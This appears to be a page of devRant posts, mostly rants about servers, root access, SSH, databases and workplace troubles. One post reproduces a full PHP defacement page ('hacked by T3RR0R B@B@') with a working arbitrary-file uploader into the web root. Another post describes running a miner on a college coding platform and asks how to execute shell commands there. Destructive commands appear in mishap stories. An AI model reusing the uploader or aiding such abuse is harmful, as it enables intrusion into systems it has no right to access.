His tone was like I was in trouble and I know that I’m not, but it’s my goal to end up on that team and I just feel like shit about this whole situation. To top it off my boss pulled me off of two projects because of unrelated issues (and nothing to do with me) so I have basically nothing to do and I just feel very discouraged. I feel dumb and like I should have gone to the developers first. I just wanted to make it easy on everyone and do my research. I feel like I keep being put in situations above my level (I’m one of two juniors in a 16 person shop, the other one is an intern) and then “getting in trouble” for working beyond my scope.
Anyways.... fuck Microsoft4 -
I've just checked my server's auth logs and my god that's a lot of failed ssh login attempts.
I think I'll install an ssh honeypot to waste these peoples time...8 -
Some Project Manager outsourced a redundant RADIUS setup with MySQL backend. We got 2 copies of a daloradius appliance running on Ubuntu 10.04. Once I saw this, I started to get a bit suspicious and requested to audit the system and database redundancy. With the system in production, and without getting back any documentation, I got into the VMs using the default root password. This was not even the worst part, as I found. One server was using a local MySQL instance, while the other was also using the first one's MySQL instance. When I reported this, I was told to comment clearly any changes to the configuration files, which resulted in commenting the word SHAME above each change.1
-
!rant, opinion/discussion
What are your thoughts or experiences with Ruby on Rails? Does it have a bright future?
I'm currently only using PHP for server-side web stuff, but looking for ideas for more beautiful languages.
I know C#, but because 95% of web servers I work on are Linux based, it's (as far as I currently know) not an option. Or is ASP.NET Core somewhat supported on non-root (basic hosting) linux servers?7 -
Dev Diary Entry #56
Dear diary, the part of the website that allows users to post their own articles - based on an robust rights system - through a rich text editor, is done! It has a revision system and everything. Now to work on a secure way for them to upload images and use these in their articles, as I don't allow links to external images on the site.
Dev Diary Entry #57
Dear diary, today I finally finished the image uploading feature for my website, and I have secured it as well as I can.
First, I check filesize and filetype client-side (for user convenience), then I check the same things serverside, and only allow images in certain formats to be uploaded.
Next, I completely disregard the original filename (and extension) of the image and generate UUIDs for them instead, and use fileinfo/mimetype to determine extension. I then recreate the image serverside, either in original dimensions or downsized if too large, and store the new image (and its thumbnail) in a non-shared, private folder outside the webpage root, inaccessible to other users, and add an image entry in my database that contains the file path, user who uploaded it, all that jazz.
I then serve the image to the users through a server-side script instead of allowing them direct access to the image. Great success. What could possibly go horribly wrong?
Dev Diary Entry #58
Dear diary, I am contemplating scrapping the idea of allowing users to upload images, text, comments or any other contents to the website, since I do not have the capacity to implement the copyright-filter that will probably soon become a requirement in the EU... :(
Wat to do, wat to do...1 -
Today it finally happened. I had a „virus“. I wanted to get KMPico for a buddy of mine since he is to lazy to crack it and installs windows after 2 months again.
Today I woke up to an cheap ass miner I caught by accident. All he fucking did was suspend the task when taskmanager is open. It ran as normal user under the process named „kernel.exe“, no cpu priority/affinity, no elevated startup service, all files in one place (under roaming) and worst of all… he kept an remote connection TO HIS FUKKEN PC open, he even is to cheap to get a root server ffs6 -
That time after you changed to Linux and you really need windows...
Trying to root my new server :( Don't know why can only use USB1 on my VirtualBox VM... Fuck man26 -
I was doing some maintenance on a production server for a game hosting company (Minecraft hosting, for those interested). A week before, I had created a backup of an account directory before trying to solve an issue, I now wanted to remove this directory.
Since I am way too confident in my ability to not mess up, I was logged in as root.
Instead of typing `rm -rf ../` (I know using -f is a bad idea), I typed `rm -rf /`.
The distro we were using did not have any protections built in.
The directory I wanted to remove as gone, but so was the rest of the server once I realized what I had done.4 -
Spend literally two days trying to figure out why I have a 2 hour offset in my timezones for a lamp web app. This isn't even close to my first timezone rodeo.
Check logs, reset Apache/MySQL/PHP timezones in like 100 places. Use 3rd party server side and client side timezone libraries. Moment.js you say? Shit works like a charm... but is, of course, still two hours off.
MySQL is right. PHP is right. Apache is right. PHP libs are in place. Finally convert the entire damn project to use epoch time because I have a deadline, I have no more time to read backwater AWS docs and try to figure out why the hell this Ubuntu EC2 is fucked up, and I literally cannot figure out why in the hell the damn clock is off.
Several days later notice a variable in the main .config file... right in root... 2 hour timezone offset.
Fuuuuuuuuuuuuuuuuuuuuck.8 -
On today's episode of Corporate BS
I must please go update logstash on this server. Okay, so I literally just need to ssh in and run "yum update logstash"
No, I need to apply for temp root access and depending who picks up that ticket, I may have to log a change request5 -
I already wrote a rant about this yesterday, but since I'm a sysadmin trying to convert to dev.. I dunno, maybe it's not a bad idea to muddy the waters a bit and talk about why not to be a sysadmin.
Personally I think it's that the perceived barrier to entry is just too high, while it isn't. You don't need a huge Ceph cluster and massive servers when you're just starting out. Why overbuild an appliance like that if it's gonna start out at maybe 5 requests a minute?
Let's take an example - DNS servers! So there's been this guy on the bind-users mailing list asking how to set up a DNS server on 2 public servers, along with a website. Nothing special I guess - you can read the thread here: https://0x0.st/ZY-d. Aside from the question being quite confusing, there was advice to read RFC's, get a book, read the BIND ARM, etc etc. And the person to deny this? No one less than Stephane Bortzmeyer, one of the people who works for nic.fr (so he maintains the .fr TLD) and wrote some of those RFC's as part of the DNSOP working group in the IETF. As for valid reasons to set up a DNS server? Could just be to learn how the DNS works, or hell even for fun. As far as professional DNS servers go.. this (https://0x0.st/ZYo9) is the nugget that powers the K root server, one of the 13 root servers that power the root zone of the internet, aka the zone apex. 2 RJ45 connections, and a console connection. The reason why this is possible is the massive recursor networks that ISP's, Google DNS, Cloudflare DNS, Quad9, etc etc provide. Point is, you don't need huge infrastructure to run a server!
Or maybe your business needs email. How many thousands of emails per second are you gonna need to build your mail server against? How many millions will you need to store? If your business has 10 employees and all of those manage about 10k emails total.. well that's easy, 100k emails total. Per second? Hundreds of emails per second per employee? Haha, of course not. Maybe you'll see an email a minute at most. That is not to say that all email services are like this - it is true that ISP's who offer email to their customers, and especially providers like Microsoft and Google do need massive mail servers that can handle thousands of emails per second. But you are not Microsoft or Google. So yeah, focus on the parts of email that are actually hard.. and there is plenty.
Among sysadmins you have this distinction between "professional" sysadmins and homelabbers. I don't mind the distinction itself but I think both augment each other. If you've started out by jumping into a heap of legacy at an established company, you will have plenty of resources, immediately high complexity, and probably a clusterfuck right away. But you will have massive amounts of resources. If you start out with a homelab, you will have not many resources, small workloads, and something completely new for you to build and learn with. And when running a server like that, you'll probably find that the resources required are quite small, to provide you with your new services. My DHCP servers take 12MB memory each. My DNS servers hover around the 40MB mark. The mail server.. to be fair that one consumes around 150. But if you'd hear the people saying that you need huge servers.. omg you need at least a TB of RAM on your server and 72 cores, massive disks and Ceph!1!
No you don't. All that does is scaring people away and creating a toxic environment for everyone. Stop it.1 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Just gonna leave this here because I am too lazy to write a proper article for my website:
If anyone is trying to create a Vue.js website with Node.js backend do NOT use express-vue, it is unnecessarily complicated and broken. Instead use this method I found.
You will need:
- IntelliJ IDEA / WebStorm / other IDE supporting multiple modules per project and tasks
- Nodejs and npm
- vue-cli
Step by step:
1. Create new empty project
2. Add your frontend module using vue-cli generator
3. Add your backend module using Express generator
4. Run npm build in your frontend module once
5. Move or remove public folder in your backend module
6. Create a symlink from your backend module root called public pointing to dist folder in your frontend module root
7. Make sure to add "Run npm build" from frontend module to your "bin/www" task (default task for Express module)
8. Enjoy developing your REST API in Node/Express and your frontend in Vue.js with single-file components and it being served by the same server that is providing the backend.
(Since they are separate modules and you are not mixing webpack and Node/Express you can add ts-loader, stylus-loader, pug-loader or any other loaders without screwing anything up)
For deployment you just need to copy the contents of dist into public on the server. (and not upload the symlink)6 -
So im pretty sure I made the biggest/dumbest fuckup for the year already...
Deleting the majority of our RHEL server's root partition.
Blonde mistake for sure.
Technically i didn't actually delete it... just fucked up the block device so it's no longer recognised as existing.
I could go fishing for data and put it back together... but since i have the boot par and all the uset account configs... plus i actually documented all remarkable server updates cuz im trying to get better at the whole 'having a team' thing... im just gonna play it safe and go through it all like old school video games when you die right before the checkpoint so you need to go through the same paths again and again... but not too fast or youll fuck up somewhere easy and itll drive u nuts when u gotta reiterate again.
@jestdotty here you go. Always saying I just mention positives about myself... cant get much worse than this.10 -
Working at a local seo sweat-shop as "whatever the lead dev does't feel like doing" guy.
Inherit their linux "server".
- Over 500 security updates
- Everything in /var/www is chmod to 777
- Everything in /var/www is owned by a random user that isn't apache
- Every single database is owned by root sql user
- Password for sudo user and mysql root user same as wifi password given to everyone at company.
- Custom spaghetti code dashboard with over 400 files in one directory, db/ api logins spread throughout these files, passwords in plain text.
- Dashboard doesn't have passwords, just usernames to login
- Dashboard database has all customer information including credit card stored in plain text
- Company wifi is shared by other businesses in the area
I suggest that I should try to fix some of these things.
Lead Developer / Tech Director : We're an SEO company, not a security company . . .7 -
Aaaand I did it again T_T
Installed knockd for some reason it wasn't working well, couldn't unlock the port and guess what, internet disconnected for five minutes ==> My SSH session closed and I am locked out of my VPS :')
What is even worse Scaleway doesn't have a root user password when creating the server it uses a pre-entered ssh key that I put in my account, so I was pretty much locked out.
But I was able to remove it, they have custom scripts for booting so I was able to fireup a shell session during boot and removed knockd
Either I fail at using Linux or I really need to work on my self lol2 -
Experiences of owning a private server with JFK!
Dropping a prod db: 1
Misplacing passwords: 3
Config errors: Over 9'000
fail2ban banned me: 2
Not reading the docs first since: Forever
Setting up a sever again because I fucked up: 4
Formating the wrong USB stick, which had needed data: 1
Resetting lost DB root password: 2
Server crashes due to insufficient psu: 3
Not knowing the firewall is enabled again, so near to nothing works: 22 -
So today I set up an ubuntu server with LVM, encrypted root partition and decryption via usb key.
That shit is insane dude.13 -
Just needing to vent a bit...
We start off with classic asp.net & Xamarin. K.
Then we run into the shitshow that's lackluster documentation and heavy push for asp.net core.
Whatever, will just handroll things.
K. Azure is quickly turning expensive..
Well let's find alternatives.
Yeah, no Linux ain't gonna work.
Wanna shell out for a windows server? Nah.
K. Well, let's rewrite in asp.net core then.
Nginx proxy passthrough to kestrel. Ez.
Now.. wtf is the deal with mssql behaving like a turd on Linux?
Oh now some security jibber about telemetry and adding Microsoft keys to root.
Whatever. I can do PHP & MariaDB then.
1001 things wrong about Xamarin now.
Mostly performance related.
Especially cuz custom renderers for everything.
& Abused onPropertyChanged.
Uh la la, look at that sexy thing called react native.
Hippytyhop new tool for the job.
Ugh wee, what's this ? Customer impatient & deadline for months worth in Xamarin => 1 week.
Whelp I be fudge..6 -
I remember someday from a few years ago, because i just got off the phone with a customer calling me way too early! (meaning i still was in my pyjamas)
C:"Hey NNP, why si that software not available (He refers to fail2ban on his server)
Me: "It's there" (shows him terminal output)
C: " But i cannot invoke it, there is no fail2ban command! you're lieing"
Me: "well, try that sudoers command i gave you (basically it just tails all the possible log files in /var/log ) , do you see that last part with fail2ban on it?
C: "Yeah, but there is only a file descriptor! nothing is showing! It doesnt do anything.
Me: "That's actually good, it means that fail2ban does not detect any anomalies so it does not need to log it"
C:" How can you be sure!?"
Me: "Shut up and trust me, i am ROOT"
(Fail2ban is a software service that checks log files like your webserver or SSH to detect floods or brute force attempts, you set it up by defining some "jails" that monitor the things you wish to watch out for. A sane SSH jail is to listen to incoming connection attempts and after 5 or 10 attempts you block that user's IP address on firewall level. It uses IPtables. Can be used for several other web services like webservers to detect and act upon flooding attempts. It uses the logfiles of those services to analyze them and to take the appropriate action. One those jails are defined and the service is up, you should see as little log as possible for fail2ban.)5 -
So I am broke and can't buy a vds, I installed Termux on my android phone instead. Now I have a portable server that is capable to recieve calls and transmit sms for logs.
BUT, then I had to go to customer support due to case makes the phone get short circuited şn random times. Obviously they deleted all info and Samsung Cloud doesn't backup other users' data. (Termux emulates a terminal running on another user, which is not root by default)
Can anyone teach this teenager how to use tar properly? :D3 -
I just joined a new company.
Their CI pipeline is to give root access to staging and prod servers to every developer in the company and the manually git pull each repository (8-10 repos per server) and manually set nginx and port configurations. And if this wasn't enough, all of the 30 sites they have are basically the same site and they make the changes manually for each tenant (no env file). I'm amazed at how hard some people are willing to work.5 -
Sooo... The ways my coworker fucks me:
Last week I have been working on setting up aWireGuard VPN server... Been trying for 4 FUCKING DAYS, the easiest VPN that has ever existed, 2 commands and that's it, I wasn't able to reach it, I checked every forum, tested every possible solution without success, checking ubuntu firewall but it was inactive... Nothing that should cause this. Why? 2 weeks ago we had a security breach and my coworker added a firewall from the cloud console with basic rules allowing only 3 ports, the port I was communicating with was blocked. He didn't bother to mention that he added an external firewall. And the junior me, not wanting to be a pain in the ass, and since that security breach wasn't my responsibility to fix, I didn't ask too many questions, just read the emails going back and forth and "learning" how to deal with that. Kill me please. Next mont a new guy is joining, we had a "quick meeting" of 30 minutes and he managed to make it 2 hours meeting. So a partner who lacks communication and a partner who talks a lot... Will be fun. And I probably should change my username... Is that even possible? @root?10 -
Ugh am so done with linux.
I dualbooted ubuntu 16.4 LTS alongside win10 on my new laptop 3 years ago. Back then , the whole os and kernel stuff were new for me, but once i understood how things work in it, i always found linux to be a superior alternative for doing any development related task than windows.
The way terminal gives us sheer raw power to handle services and applications ourselves makes everything easy in linux.
Wanna run a lamp server? Install all parts by yourselves. Problems with the lamp server? You are just 1 command away to know which service/package is causing issue. Some python module fucked up? You can go on checking every package present anywhere on your disk. No permissions? Sudo.
But recently i got so much fed up of its gui. I have gone from 16.4 to 18.4 to 20.4 , but no version seems to handle multiple gui s/w running parallely .
I usually have the requirement to open 2-3 windows of chrome with 30-40 tabs, 1-2 projects of Android studio and studio emulator. But this shit blows even with just 1 project open on studio and nothing else! The even the keyboard and mouse gets stuck when i studio is making a built.
And don't get me started on how slow my system becomes when switching b/w AS and chrome :''( . Maybe there's issue with the dual boot or because i gave very large swap/root partitions when i first dualbooted or something else , but i am in so much pain :/
Finally i went back to win10 a month ago and was a little surprised to find that it sucks a little less now. Aside from the ugly forceful updates, it has been a breeze for working . The builds take longer time (fuck windows defender), but My Android studio (and everything else) does not lag when switching between multiple processes. I even once ran an emulator instance and it was still working fine . The process management of windows is very good.
I have heard that mac is kind of in middle of the 2 and better than both providing rich process management and powerful terminal commands . Waiting for the day when i have enough money(or no longer require my kidney) to buy and maintain a MacBook :/14 -
After learning a bit about alife I was able to write
another one. It took some false starts
to understand the problem, but afterward I was able to refactor the problem into a sort of alife that measured and carefully tweaked various variables in the simulator, as the algorithm
explored the paramater space. After a few hours of letting the thing run, it successfully returned a remainder of zero on 41.4% of semiprimes tested.
This is the bad boy right here:
tracks[14]
[15, 2731, 52, 144, 41.4]
As they say, "he ain't there yet, but he got the spirit."
A 'track' here is just a collection of critical values and a fitness score that was found given a few million runs. These variables are used as input to a factoring algorithm, attempting to factor
any number you give it. These parameters tune or configure the algorithm to try slightly different things. After some trial runs, the results are stored in the last entry in the list, and the whole process is repeated with slightly different numbers, ones that have been modified
and mutated so we can explore the space of possible parameters.
Naturally this is a bit of a hodgepodge, but the critical thing is that for each configuration of numbers representing a track (and its results), I chose the lowest fitness of three runs.
Meaning hypothetically theres room for improvement with a tweak of the core algorithm, or even modifications or mutations to the
track variables. I have no clue if this scales up to very large semiprime products, so that would be one of the next steps to test.
Fitness also doesn't account for return speed. Some of these may have a lower overall fitness, but might in fact have a lower basis
(the value of 'i' that needs to be found in order for the algorithm to return rem%a == 0) for correctly factoring a semiprime.
The key thing here is that because all the entries generated here are dependent on in an outer loop that specifies [i] must never be greater than a/4 (for whatever the lowest factor generated in this run is), we can potentially push down the value of i further with some modification.
The entire exercise took 2.1735 billion iterations (3-4 hours, wasn't paying attention) to find this particular configuration of variables for the current algorithm, but as before, I suspect I can probably push the fitness value (percentage of semiprimes covered) higher, either with a few
additional parameters, or a modification of the algorithm itself (with a necessary rerun to find another track of equivalent or greater fitness).
I'm starting to bump up to the limit of my resources, I keep hitting the ceiling in my RAD-style write->test->repeat development loop.
I'm primarily using the limited number of identities I know, my gut intuition, combine with looking at the numbers themselves, to deduce relationships as I improve these and other algorithms, instead of relying strictly on memorizing identities like most mathematicians do.
I'm thinking if I want to keep that rapid write->eval loop I'm gonna have to upgrade, or go to a server environment to keep things snappy.
I did find that "jiggling" the parameters after each trial helped to explore the parameter
space better, so I wrote some methods to do just that. But what I wouldn't mind doing
is taking this a bit of a step further, and writing some code to optimize the variables
of the jiggle method itself, by automating the observation of real-time track fitness,
and discarding those changes that lead to the system tending to find tracks with lower fitness.
I'd also like to break up the entire regime into a training vs test set, but for now
the results are pretty promising.
I knew if I kept researching I'd likely find extensions like this. Of course tested on
billions of semiprimes, instead of simply millions, or tested on very large semiprimes, the
effect might disappear, though the more i've tested, and the larger the numbers I've given it,
the more the effect has become prevalent.
Hitko suggested in the earlier thread, based on a simplification, that the original algorithm
was a tautology, but something told me for a change that I got one correct. Without that initial challenge I might have chalked this up to another false start instead of pushing through and making further breakthroughs.
I'd also like to thank all those who followed along, helped, or cheered on the madness:
In no particular order ,demolishun, scor, root, iiii, karlisk, netikras, fast-nop, hazarth, chonky-quiche, Midnight-shcode, nanobot, c0d4, jilano, kescherrant, electrineer, nomad,
vintprox, sariel, lensflare, jeeper.
The original write up for the ideas behind the concept can be found at:
https://devrant.com/rants/7650612/...
If I left your name out, you better speak up, theres only so many invitations to the orgy.
Firecode already says we're past max capacity!5 -
>>Server sind für mich "Neuland".<<
I want to switch to a new server with my website. I have a bunch of questions and hope you beautiful people will help me out.
1. I've decided to switch from shared hosting to an virtual server. Therefore I am going to rent the cheapest VS from hetzner.de. is this a good choice?
2. What do I have to care about and what stuff there is to be done in the beginning?
3. The reasons I want to switch are more root accessibility and I want to switch to https. What about that? Is let's encrypt enough?
4. How do I move the server from a to b?
5. What OS should I choose?
6. What about security?
7. Any further advice from experienced people is welcome!
Sry for those noob questions, but I've never been in touch with server work...23 -
So, yeah...
Something like 2 years ago? I was bored in school, so I decided to make something on website that I was creating then...
I wrote few lines and sent file to the server.
BANG!
I don't know how, but I saved it as "index.php" in the root folder of website. I overwritten fucking index.php, lost this fucking file. Soo... I had two options: make index.php from the beginning, or restore backup and loose changes form 24 hours. I choosed the second option. -
Sooo
Someone had that brilliant idea of changing user ID and group ID of root user in a server... Now root has no permissions.
How am I supposed to use that server now?
P.S: Don't ask me why they did that... I don't know and I didn't bother to ask.8 -
Ridiculous when ftp guide doesn't include anything about how to change root directory.
"All these commands and Voila! Yiu have your vsftpd server running"
ok but what is the root directory tho?2 -
Omg, freaking web sockets.. But I figured out how to run a socket server in SSL with the certificates in a root folder. Seems like an early night for me!
-
One day I helped another teacher with setting up his backend with the currently running Nginx reverse-proxy, peace of cake right?
Then I found out the only person with ssh access was not available, OK then just reset the root password and we're ready to go.
After going through that we vim'd into authorized_keys with the web cli, added his pub key and tried to ssh, no luck. While verifying the key we found out that the web cli had not parsed the key properly and basically fucked up the file entirely.
After some back and forth and trying everything we became grumpy, different browsers didn't help either and even caps lock was inverted for some reason. Eventually I executed plan B and vim'd into the ssh daemon's settings to enable root login and activate password authentication. After all that we could finally use ssh to setup the server.
What an adventure that was 😅3 -
Literally every single task except one has me waiting on stuff from other people. The remaining ask is waiting on root access approved for a server
Uugh. I'd take dealing with some obscure bug for 4 hours over this nonsense1 -
Well finished work yesterday at the company where I would be grilled over whether it was safe to run an SQL script on the server using the command line but they thought nothing of everyone having to log in to the server as root!7
-
I just love starting my mornings with telling someone at another company not to chmod 777 their ftp root because mutual customers are yelling at me because the other company’s shit is broke. This is a production server with thousands of accounts.1
-
Fucking remote db doesn't want to work with me and workbench. DB is on an empty test server, no firewall issues on the network, powershell on my pc says ping ok, tcp failing though, server firewall not running, server up and running.
Tried to modify network access on db configs like bind-adress, set my db user "host" value to wildcard. Now I can log in on workbench with my user, yet root somehow fails, wtf?
And of course once the connection is live, no db us visible, accessible, nothing works. I'm so frustrated. About to nuke it and restart ... again!13 -
How fitting because that just happened today: MOTHERF*CKING Tomcat.
TL;DR:
Tomcat sucks with client side routing (e.g. in angular2).
How hard can it be to provide a web/application server which is properly configurable?
I lost a whole day by trying to get an angular2 project deployed in Tomcat.
It's not that I could not manage to deploy it. But that you need to put all the files in the ROOT folder if Tomcat so that your JavaScript files can be found is the first dumb part.
But that's not enough.
There seems to be no way in Tomcat, short of writing to XML config files and including one jar library, to disable routing go a webapp. And you need to do this when you have a single page application with client side routing.
But yeah, dear boss, I get the part where Tomcat is lightweight, easy to use and does most of the work for you: when you do not use it.
As a side note, so that nobody thinks I have a grudge against the Apache guys: I see the advantages of a Tomcat if you have multiple webapplications written in Java which you need to manage our if you use it as an embedded application server.
But there are just some occasions where a plain old Apache Webserver is better suited.
Another side note: if I just embarrassed myself because those are settings which can be easily applied feel free to tell me 😉2 -
It was about 2:30am.. The darkness had been dominating the outside for a while, and I was having issues with my partitions on my CentOS server. Yup that's correct. I think.
I really wanted to go to bed. Last thing I had to do, was re-allocate some space from centos-home to centos-root. But I fucked up, of course I did.
After about half an hour of making food and trying different stuff to solve the "Can't read superblock error" error, I found an answer that just lead to "Can't read secondary superblock error, sorry".
At least they apologize now lol.
I ended up trashing the centos-home volume (is volume and partition the same ?) and just smashing it all onto centos-root. I lost some data, but screw that, stuff is working and I'm not going to bed.
Yeah, stuff is working. I hope. No errors encountered yet.
Moral of the story: Home partition isn't needed and it's okay to kill it1 -
Does anyone knows a Syncing / Self Hosted Cloud Solution that has native Integration for Windows and Ubuntu?
I want some shared storage between my Laptop and my PC. Save a project on one side, grab the laptop goes to a friend and work there with the data, without uploading / downloading the files manually or using some web interface for that.
I have also a root server with stroage and internet. So if it happens automagicly in background it would be fine.
Is there a good solution out there? Or some ideas / frameworks to programm it by myself?
Diff and merges are not needed. I never will work on both systems at the same time.6 -
Ever forgot the root password of your remote server, my manager did. Now we can't run our applications because they need root/administrative privilege. 😂6
-
client: "can you build out a staging server for us? here's all the code, everything you need"
me: "awesome, looking good, i have almost everything i need, just give me the credentials for the server, and I'll get started installing all the infrastructure"
client: "ok, try these!"
me: "doesn't work"
client: "this one?"
me: "doesn't work..."
client: "how about this one?"
me: "STILL NOT WORKING!!!"
imagine you want someone to do stuff on your server and you don't even know the root SSH password.... smh
why is this always a problem, use fucking 1password or something its 40 bucks a year, secure, and you can organize alllll your passwords. don't be a fucking boomer and write them on a piece of paper, or worse, apparently like my client, never know it or have it in the first place.5 -
Fuck ssh. It does 4 things at once and i couldn't get it to do one. I have some pi's and want a shared directory on each of them. On a server i created a user for that and mounted its home directory on a pi, it worked. I did some lockdowns (no shell, only sftp allowed, login only via keyfile), but i was still able to mount it on boot.
Now i had to migrate this setup to another server. It took me a while copying all the configuration etc. All i got for that was a error-message. I figured out the users home-directory had to be owned be root, fixed that, got another error message. Somehow scp didn't use sftp but the login shell which is /usr/sbin/nologin. That made scp (and sshfs) fail, even though it perfectly works with the other server.
I gave up and removed all the setup. I'll find another distributed filesystem for that (but not samba or nfs, those are way to complicated). Those are the setbacks that depress me. -
on live server
me: these root server files have loose permissions.
sudo chmod -rf 644 /*
me: well... 'cd' works, but nothing else. -
Just spent all morning adding my own user account to my local MongoDB because some network security guy found I was running an unprotected server on my PC....
I tried all the admin roles to get full access across all databases I have but none worked....
Until I see one at the bottom of the official documentation:
root -
So I've spent all day chasing around this issue for a coworker who was trying to help a client with a new report they were deploying to their system.
Now I learned a couple of things today because of this. Due to moving buildings, our new network completely broke our report server because the DNS can't resolve it's name. Since we're rewriting this system from the ground up, I haven't been majorly concerned about getting this fixed, but with this coming up, being persistent, I'm glad I figured it out. IT did give us a static IP for this VM, but they never bothered to add a DNS entry for it, so for the past couple of months, this hasn't worked for some reason, and now that's why.
So the root cause of my issue can been seen from 2 directions, the dev of the report, and the dev of the UI that reads it. The dev who wrote this code originally is checking very specifically for 'asc' and 'desc', meanwhile my mans who wrote the report has his order by with 'ASC' where he needs it.
(MAN, THE PREVIOUS DEV WAS GREAT)
I'm glad I was able to help him, but god damn, that took all day, AND TO FIND IT WAS A CAPTIALIZATION ISSUE, AAAAAAAAA FUCK ME -
That moment when someone in test runs rm -rf as root to delete log files, and you remember that server is running on ESXi.1
-
Follow-up rant to my company. Today's day is fairly good, so let's talk about infra.
We're building upon an existing open-source project which is not intended to be extended (e.g. plugins).
Our backend-team somehow hacked symfony into the app, which made the actual work a little bit less annoying. But on the other side, there is absolutely no automation. Everything is setup by hand and I need to upload my sources to my dev-server and watch what files exactly are overwritten. Because if not, I accidentally overwrite core sources which will break the whole app, no matter what. If I forget what file I wrongly overwrote, I have no choice but to setup the core from scratch and apply our sources on-top, AGAIN.
The first time setup took me almost five days.
Oh yeah and the team shares one dev server, so whenever I feel like fucking with a mate, I can easily fuck up his system, since everyone has root-rights.
We're required to use windows, but our dev is linux and I am the only knowledgable linux guy. They need cheatsheets (to be fair, I need my powershell-cheatsheet).
We market the same app with some additional functionality, but we also have clients which require their own stuff. This case has never been thought-out, since for these specific clients, we also modify some core-parts. Which makes it a real hassle to add a basic new feature to that special customer.
At least our frontend is somewhat decent. Simple and without critical thinking, but it works and is decently understandable. I'll rant about that for another day, it's still tedious.
I know I won't stay there for long since I start my own stuff, but it's sad. Nothing is perfect and they _do_ want to make it better, but it's the usual "there is no time, client first" talk. On the other hand, they tell that we should be more efficient, but there is no way to be without looking back at the fundamental structure and what takes us so long.
I don't think I am able to change anything here and as I heard from co-workers, they already look for something new.
cheers -
So, is it a bad/good idea to run *every* service I want to use on my root server in docker containers?14
-
I am new to c and cpp.
I used to exploit my college's competitive programming platform cus it had a bad architecture and almost no auth checks.
For every ajax request, they weren't sending auth tokens or any form of identification and ran all the programs without any logs and on the main thread and as root.. wtf, right?
But recently they've changed something to the site and I cannot run bash commands using system() call.
Is there any other way to execute bash commands using c and cpp.
I already configured a miner in their server but then they re-deployed it cos someone forked bomb the shit out of it.
I'm a noob in c and cpp btw!3 -
VMWare, for what you people charge, would it kill you to do some basic quality assurance on your install media?
Your flagship product, vCenter Server, has a known issue that's been there for at least eight update releases where you can't actually do the install without catching the newly provisioned appliance VM on its first startup, doing init=/bin/bash, and changing the root password by hand.
Because, yknow, having stuff work according to your docs is for *wimps*. Engineers who have to put up with this shit have the ears of their execs, and you can bet poor quality like this will eventually reach the ears of the people with purchasing authority.3 -
